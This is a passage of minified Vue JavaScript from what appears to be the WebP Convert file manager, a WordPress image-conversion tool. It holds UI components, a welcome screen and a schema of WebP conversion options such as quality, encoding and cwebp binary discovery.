0:this.ui.display)&amp;&amp;(this.displayExpr=new X(this.ui.display))},methods:{updateLocalModel(t){this.ui.hasOwnProperty(&quot;data-property&quot;)&amp;&amp;t.hasOwnProperty(this.ui[&quot;data-property&quot;])&amp;&amp;(this.localModel=t[this.ui[&quot;data-property&quot;]])},onComponentDataChange(t){this.$emit(&quot;componentDataChange&quot;,t)}}},Yo={key:0,class:&quot;auto-component&quot;},Ho={key:0},Wo={key:3};function Xo(t,e,o,l,i,n){const a=m(&quot;HelpIcon&quot;),c=m(&quot;Toggle&quot;),g=m(&quot;Slider&quot;),u=m(&quot;Select&quot;),C=m(&quot;MultiSelect&quot;),V=m(&quot;Input&quot;),y=m(&quot;AutoComponent&quot;,!0),D=m(&quot;Group&quot;);return s(),x(fe,{name:&quot;fade&quot;},{default:S(()=&gt;{var O,T;return[n.enabled&amp;&amp;o.ui.component?(s(),d(&quot;div&quot;,Yo,[r(&quot;div&quot;,null,[o.ui.component!=&quot;group&quot;?(s(),d(&quot;div&quot;,Ho,[r(&quot;label&quot;,null,_((O=n.componentSchema)==null?void 0:O.title),1),((T=n.componentSchema)==null?void 0:T.description)?(s(),x(a,{key:0,schema:n.componentSchema,ui:o.ui},null,8,[&quot;schema&quot;,&quot;ui&quot;])):p(&quot;&quot;,!0)])):p(&quot;&quot;,!0),r(&quot;div&quot;,{class:$(&quot;component-&quot;+o.ui.component)},[o.ui.component==&quot;checkbox&quot;?(s(),x(c,{key:0,modelValue:i.localModel,&quot;onUpdate:modelValue&quot;:e[0]||(e[0]=b=&gt;i.localModel=b),height:20,width:40},null,8,[&quot;modelValue&quot;])):p(&quot;&quot;,!0),o.ui.component==&quot;slider&quot;?(s(),x(g,{key:1,modelValue:i.localModel,&quot;onUpdate:modelValue&quot;:e[1]||(e[1]=b=&gt;i.localModel=b),schema:n.componentSchema},null,8,[&quot;modelValue&quot;,&quot;schema&quot;])):p(&quot;&quot;,!0),o.ui.component==&quot;select&quot;?(s(),x(u,{key:2,modelValue:i.localModel,&quot;onUpdate:modelValue&quot;:e[2]||(e[2]=b=&gt;i.localModel=b),schema:n.componentSchema,ui:o.ui},null,8,[&quot;modelValue&quot;,&quot;schema&quot;,&quot;ui&quot;])):p(&quot;&quot;,!0),o.ui.component==&quot;multi-select&quot;?(s(),d(&quot;div&quot;,Wo,[w(C,{modelValue:i.localModel,&quot;onUpdate:modelValue&quot;:e[3]||(e[3]=b=&gt;i.localModel=b),schema:n.componentSchema,ui:o.ui},null,8,[&quot;modelValue&quot;,&quot;schema&quot;,&quot;ui&quot;])])):p(&quot;&quot;,!0),o.ui.component==&quot;input&quot;?(s(),x(V,{key:4,modelValue:i.localModel,&quot;onUpdate:modelValue&quot;:e[4]||(e[4]=b=&gt;i.localModel=b),schema:n.componentSchema},null,8,[&quot;modelValue&quot;,&quot;schema&quot;])):p(&quot;&quot;,!0),o.ui.component==&quot;password&quot;?(s(),x(V,{key:5,sensitive:!0,modelValue:i.localModel,&quot;onUpdate:modelValue&quot;:e[5]||(e[5]=b=&gt;i.localModel=b),schema:n.componentSchema},null,8,[&quot;modelValue&quot;,&quot;schema&quot;])):p(&quot;&quot;,!0),o.ui.component==&quot;group&quot;?(s(),x(D,{key:6,modelValue:i.localModel,&quot;onUpdate:modelValue&quot;:e[6]||(e[6]=b=&gt;i.localModel=b),schema:n.componentSchema,ui:o.ui},{default:S(()=&gt;[(s(!0),d(B,null,P(o.ui[&quot;sub-components&quot;],b=&gt;(s(),x(y,{ui:b,schema:o.schema,modelValue:o.modelValue,advancedView:o.advancedView,expressionContext:o.expressionContext,onComponentDataChange:n.onComponentDataChange},null,8,[&quot;ui&quot;,&quot;schema&quot;,&quot;modelValue&quot;,&quot;advancedView&quot;,&quot;expressionContext&quot;,&quot;onComponentDataChange&quot;]))),256))]),_:1},8,[&quot;modelValue&quot;,&quot;schema&quot;,&quot;ui&quot;])):p(&quot;&quot;,!0)],2)])])):p(&quot;&quot;,!0)]}),_:1})}var Eo=v(No,[[&quot;render&quot;,Xo],[&quot;__scopeId&quot;,&quot;data-v-26c389a5&quot;]]);const Go={name:&quot;AutoUI&quot;,components:{AutoComponent:Eo},props:{schema:Object,ui:Object,modelValue:{},expressionContext:String,advancedView:{type:Boolean,default:!1},showAdvancedButton:{type:Boolean,default:!0}},computed:{},data(){return{}},mounted(){},methods:{onComponentDataChange(t){this.modelValue[t[&quot;data-property&quot;]]=t.value}}},Zo={class:&quot;autoui&quot;},Ko={key:0,class:&quot;view-select&quot;},Qo=[&quot;textContent&quot;];function Jo(t,e,o,l,i,n){const a=m(&quot;AutoComponent&quot;),c=W(&quot;tooltip&quot;);return s(),d(&quot;div&quot;,Zo,[o.showAdvancedButton?(s(),d(&quot;div&quot;,Ko,[z(r(&quot;button&quot;,{textContent:_(o.advancedView?&quot;Hide advanced options&quot;:&quot;Show advanced options&quot;),onClick:e[0]||(e[0]=g=&gt;o.advancedView=!o.advancedView)},null,8,Qo),[[c,&quot;Swich between advanced view (all available options) and simple view (most used options)&quot;]])])):p(&quot;&quot;,!0),w(a,{ui:o.ui,schema:o.schema,modelValue:o.modelValue,advancedView:o.advancedView,expressionContext:o.expressionContext,onComponentDataChange:n.onComponentDataChange},null,8,[&quot;ui&quot;,&quot;schema&quot;,&quot;modelValue&quot;,&quot;advancedView&quot;,&quot;expressionContext&quot;,&quot;onComponentDataChange&quot;])])}var ei=v(Go,[[&quot;render&quot;,Jo],[&quot;__scopeId&quot;,&quot;data-v-30912c7e&quot;]]);const ti={name:&quot;ConvertOptions2&quot;,components:{AutoUI:ei},computed:{tweakpng(){var t,e;return((e=(t=this==null?void 0:this.general)==null?void 0:t.data)==null?void 0:e.tweakpng)==null?!0:this.general.data.tweakpng}},methods:{isOptionSupportedByConverter(t,e){return!e||e==&quot;stack&quot;||!this.unsupportedBy||!this.unsupportedBy[t]?!0:!this.unsupportedBy[t].includes(e)},getOptions(){var V;if(!((V=this==null?void 0:this.general)==null?void 0:V.data))return{};let t=JSON.parse(JSON.stringify(this.general.data)),e=t.converter,o={};for(var l in t)t.hasOwnProperty(l)&amp;&amp;this.isOptionSupportedByConverter(l,e)&amp;&amp;(o[l]=t[l]);if(i!=&quot;stack&quot;){for(var i in this.uniqueOptionIds)if(i!=e)for(var n=0;n&lt;this.uniqueOptionIds[i].length;n++){let y=this.uniqueOptionIds[i][n];delete o[y]}}let a=o.tweakpng;if(delete o.tweakpng,delete o.png,!a)return o;let c=this.png.data,g=c.overrides,u={},C=this;return g.forEach(function(y){c[y]!==void 0&amp;&amp;C.isOptionSupportedByConverter(y,e)&amp;&amp;(u[y]=c[y])}),o.png=u,o}},mounted(){var t=this;L.post(&quot;conversion-settings&quot;,{folder:&quot;&quot;},function(e){let o=[],l=[],i=[],n={},a={},c={overrides:[&quot;encoding&quot;,&quot;quality&quot;,&quot;near-lossless&quot;]},g=[],u=e.options.general,C=e.options.unique;u.push({id:&quot;tweakpng&quot;,schema:{title:&quot;Tweak settings for PNG&quot;,description:&quot;&quot;,type:[&quot;boolean&quot;],default:!1},ui:{component:&quot;checkbox&quot;,&quot;data-property&quot;:&quot;tweakpng&quot;},unsupportedBy:[]});let V=u.map(f=&gt;f);for(const f in C)for(let h=0;h&lt;C[f].length;h++){let k=C[f][h];V.push(k)}for(var y=0;y&lt;V.length;y++)g.push(V[y].id);i.push({component:&quot;multi-select&quot;,&quot;data-property&quot;:&quot;overrides&quot;,options:g,display:&quot;false&quot;}),n.overrides={title:&quot;Overrides&quot;,description:&quot;Select options you want to override for PNG&quot;,type:[&quot;string&quot;],default:[]};let D={},O=!1,T=[];for(var y=0;y&lt;V.length;y++){let h=V[y];h.schema&amp;&amp;(n[h.id]=h.schema,e.defaults[h.id]?(a[h.id]=e.defaults[h.id],c[h.id]=e.defaults[h.id]):h.schema.default!=null&amp;&amp;(a[h.id]=h.schema.default,c[h.id]=h.schema.default),h.schema.default!=null&amp;&amp;(T[h.id]=h.schema.default)),h.unsupportedBy&amp;&amp;(D[h.id]=h.unsupportedBy)}if(e.defaults.png)for(const[f,h]of Object.entries(e.defaults.png))c[f]!=h&amp;&amp;(c[f]=h,O=!0);for(var y=0;y&lt;u.length;y++){let h=u[y];if(h.ui){let k=h.ui;k[&quot;data-property&quot;]=h.id,k.display?(k.display.indexOf(&quot;option.encoding&quot;)&gt;=0&amp;&amp;(k.display=k.display.replace(/option.encoding/gi,&quot;getOption(&#039;encoding&#039;)&quot;)),k.display=&#039;supported(&quot;&#039;+h.id+&#039;&quot;) &amp;&amp; (&#039;+k.display+&quot;)&quot;):k.display=&#039;supported(&quot;&#039;+h.id+&#039;&quot;)&#039;,o.push(k);let M=Object.assign({},k);M.display?M.display=&#039;overriding(&quot;&#039;+h.id+&#039;&quot;) &amp;&amp; (&#039;+M.display+&quot;)&quot;:M.display=&#039;overriding(&quot;&#039;+h.id+&#039;&quot;)&#039;,i.push(M)}}let b=[];for(const f in C){let h={component:&quot;group&quot;,title:f+&quot; options&quot;,&quot;sub-components&quot;:[],display:&quot;(option(&#039;converter&#039;) == &#039;&quot;+f+&quot;&#039;) || (option(&#039;converter&#039;) == &#039;stack&#039;)&quot;};b[f]=[];let k=!1;for(let M=0;M&lt;C[f].length;M++){let j=C[f][M];if(j.ui){let N=j.ui;N[&quot;data-property&quot;]=j.id,N.advanced||(k=!0),h[&quot;sub-components&quot;].push(N),b[f].push(j.id)}}h.advanced=!k,h[&quot;sub-components&quot;].length&gt;0&amp;&amp;l.push(h)}a.tweakpng=O,t.uniqueOptionIds=K({},b),t.general={ui:{component:&quot;group&quot;,title:&quot;General&quot;,&quot;sub-components&quot;:o},data:a},t.uniqueUi={component:&quot;group&quot;,title:&quot;&quot;,&quot;sub-components&quot;:l},t.png={ui:{component:&quot;group&quot;,title:&quot;PNG tweaks&quot;,&quot;sub-components&quot;:i},data:c},t.unsupportedBy=D,t.schema={title:&quot;Options&quot;,type:[&quot;object&quot;],properties:n};let ce={option:function(f){return t.isOptionSupportedByConverter(f,t.general.data.converter)?t.general.data[f]:T[f]},imageType:&quot;any&quot;,supported:function(f){return t.general.data.converter?t.isOptionSupportedByConverter(f,t.general.data.converter):!0}},de={option:function(f){let k=t.png.data.overrides.indexOf(&quot;converting&quot;)&gt;-1?t.png.data.converter:t.general.data.converter;return t.isOptionSupportedByConverter(f,k)?t.png.data.overrides.indexOf(f)&gt;-1?t.png.data[f]:t.general.data[f]:T[f]},imageType:&quot;png&quot;,overriding:function(f){return t.png.data.overrides.indexOf(f)&gt;-1},supported:function(f){return t.general.data.converter?t.isOptionSupportedByConverter(f,t.general.data.converter):!0}};X.setGlobalContext(ce,&quot;general&quot;),X.setGlobalContext(de,&quot;png&quot;)})},data(){return{schema:{},general:{ui:{},data:{quality:40,&quot;alpha-quality&quot;:65,&quot;auto-limit&quot;:!0,&quot;command-line-options&quot;:&quot;&quot;,&quot;skip-these-precompiled-binaries&quot;:&quot;&quot;}},png:{ui:{},data:{}},advancedView:!1,unsupportedBy:[],uniqueUi:[],uniqueOptionIds:[]}}},oi={class:&quot;convert-options&quot;},ii=[&quot;textContent&quot;];function ni(t,e,o,l,i,n){const a=m(&quot;AutoUI&quot;),c=W(&quot;tooltip&quot;);return s(),d(&quot;div&quot;,oi,[z(r(&quot;button&quot;,{textContent:_(i.advancedView?&quot;Hide advanced options&quot;:&quot;Show advanced options&quot;),onClick:e[0]||(e[0]=g=&gt;i.advancedView=!i.advancedView)},null,8,ii),[[c,&quot;Swich between advanced view (all available options) and simple view (most used options)&quot;]]),w(a,{ui:i.general.ui,schema:i.schema,modelValue:i.general.data,expressionContext:&quot;general&quot;,advancedView:i.advancedView,showAdvancedButton:!1},null,8,[&quot;ui&quot;,&quot;schema&quot;,&quot;modelValue&quot;,&quot;advancedView&quot;]),z(w(a,{ui:i.png.ui,schema:i.schema,modelValue:i.png.data,expressionContext:&quot;png&quot;,advancedView:i.advancedView,showAdvancedButton:!1},null,8,[&quot;ui&quot;,&quot;schema&quot;,&quot;modelValue&quot;,&quot;advancedView&quot;]),[[I,n.tweakpng]]),w(a,{ui:i.uniqueUi,schema:i.schema,modelValue:i.general.data,expressionContext:&quot;general&quot;,advancedView:i.advancedView,showAdvancedButton:!1},null,8,[&quot;ui&quot;,&quot;schema&quot;,&quot;modelValue&quot;,&quot;advancedView&quot;])])}var si=v(ti,[[&quot;render&quot;,ni]]);const ai={name:&quot;Welcome&quot;},li={class:&quot;welcome&quot;},ri=Q(&#039;&lt;div class=&quot;headline&quot;&gt;&lt;div&gt;Welcome to&lt;/div&gt;&lt;h3&gt;WebP Convert file manager&lt;/h3&gt;&lt;/div&gt;&lt;p&gt; To open a folder, click the &amp;quot;+&amp;quot; sign next to the folder name or double click the folder name &lt;/p&gt;&lt;p&gt;&lt;h4&gt;Whats new?&lt;/h4&gt;&lt;ul&gt;&lt;li&gt; You can now adjust conversion settings. The settings start out with the defaults stored in WebP Express (It will however not start out with Stack converter, but instead with your top active working converter - in order to simplify the UI). The options UI are generated from the option definitions exposed be the WebP Convert library. This means that the UI will always be up-to-date. Note that the WebP Express settings is not quite up-to-date. So you will find conversion settings in this interface, which you will not find in WebP Express settings. Also, this interface has a &amp;quot;Auto-limit&amp;quot; option (advanced option), which is used instead of the quality:auto, max-quality and default-quality settings, which are deprecated. &lt;/li&gt;&lt;/ul&gt;&lt;/p&gt;&lt;p&gt;&lt;h4&gt;Whats planned ahead?&lt;/h4&gt; I have plenty of ideas, but no planned priority. Ideas: &lt;ul&gt;&lt;li&gt;Trigger bulk conversion on folders / mark for background conversion&lt;/li&gt;&lt;li&gt;Stats on folders&lt;/li&gt;&lt;li&gt;Display more info on images (dimensions, quality on jpeg and such)&lt;/li&gt;&lt;li&gt;Interface to allow adjusting quality on a conversion quickly and compare directly&lt;/li&gt;&lt;li&gt;Compare converters side-by-side (visual quality, result size, conversion time)&lt;/li&gt;&lt;/ul&gt; To support development, you can &lt;a href=&quot;https://ko-fi.com/rosell&quot; target=&quot;_blank&quot;&gt;buy me a cup of coffee&lt;/a&gt;&lt;/p&gt;&#039;,4),ci=[ri];function di(t,e,o,l,i,n){return s(),d(&quot;div&quot;,li,ci)}var ui=v(ai,[[&quot;render&quot;,di]]);const hi={name:&quot;WCFM&quot;,components:{SVGs:Ve,ConvertOptions2:si,FileProperties:Zt,FolderProperties:no,Modal:ae,Files:Ge,Splitpanes:se.exports.Splitpanes,Pane:se.exports.Pane,Welcome:ui},methods:{onConvertCloseClick(){console.log(&quot;CLRCL&quot;),this.showConvertOptions=!1},onFileSelect(t,e){this.file={path:t,isDir:e}},displayInfo(t){var e=this;L.post(&quot;info&quot;,{path:t},function(o){e.selectedInfo=o})}},mounted(){var t=this;L.post(&quot;get-folder&quot;,{path:&quot;&quot;},function(e){t.item=e.children[0]})},data(){return{file:null,selectedItem:null,item:null,treeStatusText:&quot;loading file tree...&quot;,selectedInfo:{},showConvertOptions:!1}},provide(){return{wcfm:this}}},pi={class:&quot;wcfm&quot;,style:{overflow:&quot;hidden&quot;}},mi={class:&quot;pane-content&quot;},fi={key:0,class:&quot;pane-content&quot;};function gi(t,e,o,l,i,n){const a=m(&quot;SVGs&quot;),c=m(&quot;Files&quot;),g=m(&quot;pane&quot;),u=m(&quot;FileProperties&quot;),C=m(&quot;FolderProperties&quot;),V=m(&quot;Welcome&quot;),y=m(&quot;splitpanes&quot;),D=m(&quot;ConvertOptions2&quot;),O=m(&quot;Modal&quot;);return s(),d(&quot;div&quot;,pi,[w(a),w(y,{class:&quot;default-theme&quot;,style:{position:&quot;absolute&quot;,top:&quot;0&quot;,left:&quot;0&quot;}},{default:S(()=&gt;[w(g,{size:&quot;30&quot;},{default:S(()=&gt;[r(&quot;div&quot;,mi,[r(&quot;div&quot;,null,[w(c,{item:i.item,statusText:i.treeStatusText,onSelect:n.onFileSelect},null,8,[&quot;item&quot;,&quot;statusText&quot;,&quot;onSelect&quot;])])])]),_:1}),w(g,{size:&quot;70&quot;,style:{&quot;overflow-y&quot;:&quot;auto&quot;}},{default:S(()=&gt;[i.file?(s(),d(&quot;div&quot;,fi,[i.file.isDir?p(&quot;&quot;,!0):(s(),x(u,{key:0,file:i.file},null,8,[&quot;file&quot;])),i.file.isDir?(s(),x(C,{key:1,file:i.file},null,8,[&quot;file&quot;])):p(&quot;&quot;,!0)])):p(&quot;&quot;,!0),i.file?p(&quot;&quot;,!0):(s(),x(V,{key:1}))]),_:1})]),_:1}),r(&quot;button&quot;,{class:&quot;convertOptionsButton&quot;,onClick:e[0]||(e[0]=T=&gt;i.showConvertOptions=!0)},&quot;Conversion options&quot;),z(w(O,{title:&quot;Conversion options&quot;,closeButtonText:&quot;Ok&quot;,width:&quot;600px&quot;,height:&quot;95%&quot;,maxheight:&quot;650px&quot;,alignment:&quot;right&quot;,onClose:n.onConvertCloseClick},{default:S(()=&gt;[w(D,{ref:&quot;convertOptions&quot;},null,512)]),_:1},8,[&quot;onClose&quot;]),[[I,i.showConvertOptions]])])}var vi=v(hi,[[&quot;render&quot;,gi]]);var yi={general:[{id:&quot;converter&quot;,schema:{title:&quot;Converter&quot;,description:&quot;Conversion method. Cwebp and vips are best. the *magick are nearly as good, but only recent versions supports near-lossless. gd is poor, as it does not support any webp options. For full discussion, check the guide&quot;,enum:[&quot;cwebp&quot;,&quot;vips&quot;,&quot;imagick&quot;,&quot;gmagick&quot;,&quot;imagemagick&quot;,&quot;graphicsmagick&quot;,&quot;wpc&quot;,&quot;ffmpeg&quot;,&quot;ewww&quot;,&quot;gd&quot;,&quot;stack&quot;],type:[&quot;string&quot;],default:&quot;stack&quot;},ui:{component:&quot;select&quot;,links:[[&quot;Guide&quot;,&quot;https://github.com/rosell-dk/webp-convert/blob/master/docs/v1.3/converting/converters.md&quot;]]},sensitive:!1,options:[&quot;cwebp&quot;,&quot;vips&quot;,&quot;imagick&quot;,&quot;gmagick&quot;,&quot;imagemagick&quot;,&quot;graphicsmagick&quot;,&quot;wpc&quot;,&quot;ffmpeg&quot;,&quot;ewww&quot;,&quot;gd&quot;,&quot;stack&quot;]},{id:&quot;encoding&quot;,schema:{title:&quot;Encoding&quot;,description:&#039;Set encoding for the webp. If you choose &quot;auto&quot;, webp-convert will convert to both lossy and lossless and pick the smallest result&#039;,enum:[&quot;auto&quot;,&quot;lossy&quot;,&quot;lossless&quot;],type:[&quot;string&quot;],default:&quot;auto&quot;},ui:{component:&quot;select&quot;,links:[[&quot;Guide&quot;,&quot;https://github.com/rosell-dk/webp-convert/blob/master/docs/v2.0/converting/introduction-for-converting.md#auto-selecting-between-losslesslossy-encoding&quot;]]},sensitive:!1,options:[&quot;auto&quot;,&quot;lossy&quot;,&quot;lossless&quot;],unsupportedBy:[&quot;ewww&quot;,&quot;gd&quot;,&quot;stack&quot;]},{id:&quot;quality&quot;,schema:{title:&quot;Quality (Lossy)&quot;,description:&#039;Quality for lossy encoding. In case you enable &quot;auto-limit&quot;, you can consider this property a maximum quality.&#039;,&quot;default-png&quot;:85,&quot;default-jpeg&quot;:75,oneOf:[{type:&quot;number&quot;,minimum:0,maximum:100},{type:&quot;string&quot;,enum:[&quot;auto&quot;]}],type:[&quot;integer&quot;,&quot;string&quot;],default:75},ui:{component:&quot;slider&quot;,display:&quot;option(&#039;encoding&#039;) != &#039;lossless&#039;&quot;},unsupportedBy:[&quot;stack&quot;]},{id:&quot;auto-limit&quot;,schema:{title:&quot;Auto-limit&quot;,description:`Enable this option to prevent an unnecessarily high quality setting for low quality jpegs. It works by adjusting quality setting down to the quality of the jpeg. Converting ie a jpeg with quality:50 to ie quality:80 does not get you better quality than converting it to quality:80, but it does get you a much bigger file - so you really should enable this option.

The option is ignored for PNG and never adjusts quality up. 

The feature requires Imagick, ImageMagick or Gmagick in order to detect the quality of the jpeg. 

The option is relative new. Before this option, you could do the same by setting quality to &quot;auto&quot; and specifying a &quot;max-quality&quot; and a &quot;default-quality&quot;. These are deprecated now.`,type:[&quot;boolean&quot;],default:!0},ui:{component:&quot;checkbox&quot;,advanced:!0,links:[[&quot;Guide&quot;,&quot;https://github.com/rosell-dk/webp-convert/blob/master/docs/v2.0/converting/introduction-for-converting.md#preventing-unnecessarily-high-quality-setting-for-low-quality-jpegs&quot;]],display:&quot;option(&#039;encoding&#039;) != &#039;lossless&#039;&quot;},unsupportedBy:[]},{id:&quot;alpha-quality&quot;,schema:{title:&quot;Alpha quality&quot;,description:&quot;Quality of alpha channel. Often, there is no need for high quality transparency layer and in some cases you can tweak this all the way down to 10 and save a lot in file size. The option only has effect with lossy encoding, and of course only on images with transparency.&quot;,type:[&quot;integer&quot;],default:85,minimum:0,maximum:100},ui:{component:&quot;slider&quot;,links:[[&quot;Guide&quot;,&quot;https://github.com/rosell-dk/webp-convert/blob/master/docs/v2.0/converting/introduction-for-converting.md#alpha-quality&quot;]],display:&quot;(option(&#039;encoding&#039;) != &#039;lossless&#039;) &amp;&amp; (imageType!=&#039;jpeg&#039;)&quot;},unsupportedBy:[&quot;ffmpeg&quot;,&quot;ewww&quot;,&quot;gd&quot;,&quot;stack&quot;]},{id:&quot;near-lossless&quot;,schema:{title:&#039;&quot;Near lossless&quot; quality&#039;,description:&quot;This option allows you to get impressively better compression for lossless encoding, with minimal impact on visual quality. The range is 0 (maximum preprocessing) to 100 (no preprocessing). Read the guide for more info.&quot;,type:[&quot;integer&quot;],default:60,minimum:0,maximum:100},ui:{component:&quot;slider&quot;,links:[[&quot;Guide&quot;,&quot;https://github.com/rosell-dk/webp-convert/blob/master/docs/v2.0/converting/introduction-for-converting.md#near-lossless&quot;]],display:&quot;option(&#039;encoding&#039;) != &#039;lossy&#039;&quot;},unsupportedBy:[&quot;gmagick&quot;,&quot;graphicsmagick&quot;,&quot;ffmpeg&quot;,&quot;ewww&quot;,&quot;gd&quot;,&quot;stack&quot;]},{id:&quot;metadata&quot;,schema:{title:&quot;Metadata&quot;,description:&#039;Determines which metadata that should be copied over to the webp. Setting it to &quot;all&quot; preserves all metadata, setting it to &quot;none&quot; strips all metadata. *cwebp* can take a comma-separated list of which kinds of metadata that should be copied (ie &quot;exif,icc&quot;). *gd* will always remove all metadata and *ffmpeg* will always keep all metadata. The rest can either strip all or keep all (they will keep all, unless the option is set to *none*)&#039;,type:[&quot;string&quot;],default:&quot;none&quot;},ui:{component:&quot;multi-select&quot;,options:[&quot;all&quot;,&quot;none&quot;,&quot;exif&quot;,&quot;icc&quot;,&quot;xmp&quot;]},sensitive:!1,unsupportedBy:[&quot;ffmpeg&quot;,&quot;gd&quot;,&quot;stack&quot;]},{id:&quot;method&quot;,schema:{title:&quot;Reduction effort (0-6)&quot;,description:&#039;Controls the trade off between encoding speed and the compressed file size and quality. Possible values range from 0 to 6. 0 is fastest. 6 results in best quality and compression. PS: The option corresponds to the &quot;method&quot; option in libwebp&#039;,type:[&quot;integer&quot;],default:6,minimum:0,maximum:6},ui:{component:&quot;slider&quot;,advanced:!0},unsupportedBy:[&quot;ewww&quot;,&quot;gd&quot;,&quot;stack&quot;]},{id:&quot;sharp-yuv&quot;,schema:{title:&quot;Sharp YUV&quot;,description:&quot;Better RGB-&gt;YUV color conversion (sharper and more accurate) at the expense of a little extra conversion time.&quot;,type:[&quot;boolean&quot;],default:!0},ui:{component:&quot;checkbox&quot;,advanced:!0,links:[[&quot;Ctrl.blog&quot;,&quot;https://www.ctrl.blog/entry/webp-sharp-yuv.html&quot;]]},unsupportedBy:[&quot;ffmpeg&quot;,&quot;ewww&quot;,&quot;gd&quot;,&quot;stack&quot;]},{id:&quot;auto-filter&quot;,schema:{title:&quot;Auto-filter&quot;,description:&quot;Turns auto-filter on. This algorithm will spend additional time optimizing the filtering strength to reach a well-balanced quality. Unfortunately, it is extremely expensive in terms of computation. It takes about 5-10 times longer to do a conversion. A 1MB picture which perhaps typically takes about 2 seconds to convert, will takes about 15 seconds to convert with auto-filter. &quot;,type:[&quot;boolean&quot;],default:!1},ui:{component:&quot;checkbox&quot;,advanced:!0},unsupportedBy:[&quot;vips&quot;,&quot;ffmpeg&quot;,&quot;ewww&quot;,&quot;gd&quot;,&quot;stack&quot;]},{id:&quot;low-memory&quot;,schema:{title:&quot;Low memory&quot;,description:&quot;Reduce memory usage of lossy encoding at the cost of ~30% longer encoding time and marginally larger output size. Only effective when the *method* option is 3 or more. Read more in [the docs](https://developers.google.com/speed/webp/docs/cwebp)&quot;,type:[&quot;boolean&quot;],default:!1},ui:{component:&quot;checkbox&quot;,advanced:!0,display:&quot;(option(&#039;encoding&#039;) != &#039;lossless&#039;) &amp;&amp; (option(&#039;method&#039;)&gt;2)&quot;},unsupportedBy:[&quot;ffmpeg&quot;,&quot;ewww&quot;,&quot;gd&quot;,&quot;stack&quot;]},{id:&quot;preset&quot;,schema:{title:&quot;Preset&quot;,description:&#039;Using a preset will set many of the other options to suit a particular type of source material. It even overrides them. It does however not override the quality option. &quot;none&quot; means that no preset will be set&#039;,enum:[&quot;none&quot;,&quot;default&quot;,&quot;photo&quot;,&quot;picture&quot;,&quot;drawing&quot;,&quot;icon&quot;,&quot;text&quot;],type:[&quot;string&quot;],default:&quot;none&quot;},ui:{component:&quot;select&quot;,advanced:!0},sensitive:!1,options:[&quot;none&quot;,&quot;default&quot;,&quot;photo&quot;,&quot;picture&quot;,&quot;drawing&quot;,&quot;icon&quot;,&quot;text&quot;],unsupportedBy:[&quot;ewww&quot;,&quot;gd&quot;,&quot;stack&quot;]}],unique:{cwebp:[{id:&quot;cwebp-use-nice&quot;,schema:{title:&quot;Use nice&quot;,description:&quot;If *use-nice* is set, it will be examined if the *nice* command is available. If it is, the binary is executed using *nice*. This assigns low priority to the process and will save system resources - but result in slower conversion.&quot;,type:[&quot;boolean&quot;],default:!0},ui:{component:&quot;checkbox&quot;,advanced:!0}},{id:&quot;cwebp-try-cwebp&quot;,schema:{title:&quot;Try plain cwebp command&quot;,description:&#039;If set, the converter will try executing &quot;cwebp -version&quot;. In case it succeeds, and the version is higher than those working cwebps found using other methods, the conversion will be done by executing this cwebp.&#039;,type:[&quot;boolean&quot;],default:!0},ui:{component:&quot;checkbox&quot;,advanced:!0}},{id:&quot;cwebp-try-discovering-cwebp&quot;,schema:{title:&quot;Try discovering cwebp binary&quot;,description:&#039;If set, the converter will try to discover installed cwebp binaries using a &quot;which -a cwebp&quot; command, or in case that fails, a &quot;whereis -b cwebp&quot; command. These commands will find cwebp binaries residing in PATH&#039;,type:[&quot;boolean&quot;],default:!0},ui:{component:&quot;checkbox&quot;,advanced:!0}},{id:&quot;cwebp-try-common-system-paths&quot;,schema:{title:&quot;Try locating cwebp in common system paths&quot;,description:&#039;If set, the converter will look for a cwebp binaries residing in common system locations such as &quot;/usr/bin/cwebp&quot;. If such exist, it is assumed that they are valid cwebp binaries. A version check will be run on the binaries found (they are executed with the &quot;-version&quot; flag. The cwebp with the highest version found using this method and the other enabled methods will be used for the actual conversion.Note: All methods for discovering cwebp binaries are per default enabled. You can save a few microseconds by disabling some, but it is probably not worth it, as your setup will then become less resilient to system changes.&#039;,type:[&quot;boolean&quot;],default:!0},ui:{component:&quot;checkbox&quot;,advanced:!0}},{id:&quot;cwebp-try-supplied-binary-for-os&quot;,schema:{title:&quot;Try precompiled cwebp binaries&quot;,description:&#039;If set, the converter will try use a precompiled cwebp binary that comes with webp-convert. But only if it has a higher version that those found by other methods. As the library knows the versions of its bundled binaries, no additional time is spent executing them with the &quot;-version&quot; parameter. The binaries are hash-checked before executed. The library btw. comes with several versions of precompiled cwebps because they have different dependencies - some works on some systems and others on others.&#039;,type:[&quot;boolean&quot;],default:!0},ui:{component:&quot;checkbox&quot;,advanced:!0}},{id:&quot;cwebp-skip-these-precompiled-binaries&quot;,schema:{title:&quot;Skip these precompiled binaries&quot;,description:&quot;&quot;,type:[&quot;string&quot;],default:&quot;&quot;},ui:{component:&quot;multi-select&quot;,advanced:!0,options:[&quot;cwebp-120-linux-x86-64&quot;,&quot;cwebp-110-linux-x86-64&quot;,&quot;cwebp-103-linux-x86-64-static&quot;,&quot;cwebp-061-linux-x86-64&quot;],display:&quot;option(&#039;cwebp-try-supplied-binary-for-os&#039;) == true&quot;},sensitive:!1},{id:&quot;cwebp-rel-path-to-precompiled-binaries&quot;,schema:{title:&quot;Rel path to precompiled binaries&quot;,description:&quot;&quot;,type:[&quot;string&quot;],default:&quot;./Binaries&quot;},ui:{component:&quot;&quot;,advanced:!0,display:&quot;option(&#039;cwebp-try-supplied-binary-for-os&#039;) == true&quot;},sensitive:!0},{id:&quot;cwebp-command-line-options&quot;,schema:{title:&quot;Command line options&quot;,description:&quot;&quot;,type:[&quot;string&quot;],default:&quot;&quot;},ui:{component:&quot;input&quot;,advanced:!0},sensitive:!1}],vips:[],imagick:[],gmagick:[],imagemagick:[{id:&quot;imagemagick-use-nice&quot;,schema:{title:&quot;Use nice&quot;,description:&quot;If *use-nice* is set, it will be examined if the *nice* command is available. If it is, the binary is executed using *nice*. This assigns low priority to the process and will save system resources - but result in slower conversion.&quot;,type:[&quot;boolean&quot;],default:!0},ui:{component:&quot;checkbox&quot;,advanced:!0}},{id:&quot;imagemagick-try-common-system-paths&quot;,schema:{title:&quot;Try locating ImageMagick in common system paths&quot;,description:&#039;If set, the converter will look for a ImageMagick binaries residing in common system locations such as &quot;/usr/bin/convert&quot;. If such exist, it is assumed that they are valid ImageMagick binaries. &#039;,type:[&quot;boolean&quot;],default:!0},ui:{component:&quot;checkbox&quot;,advanced:!0}}],graphicsmagick:[{id:&quot;graphicsmagick-use-nice&quot;,schema:{title:&quot;Use nice&quot;,description:&quot;If *use-nice* is set, it will be examined if the *nice* command is available. If it is, the binary is executed using *nice*. This assigns low priority to the process and will save system resources - but result in slower 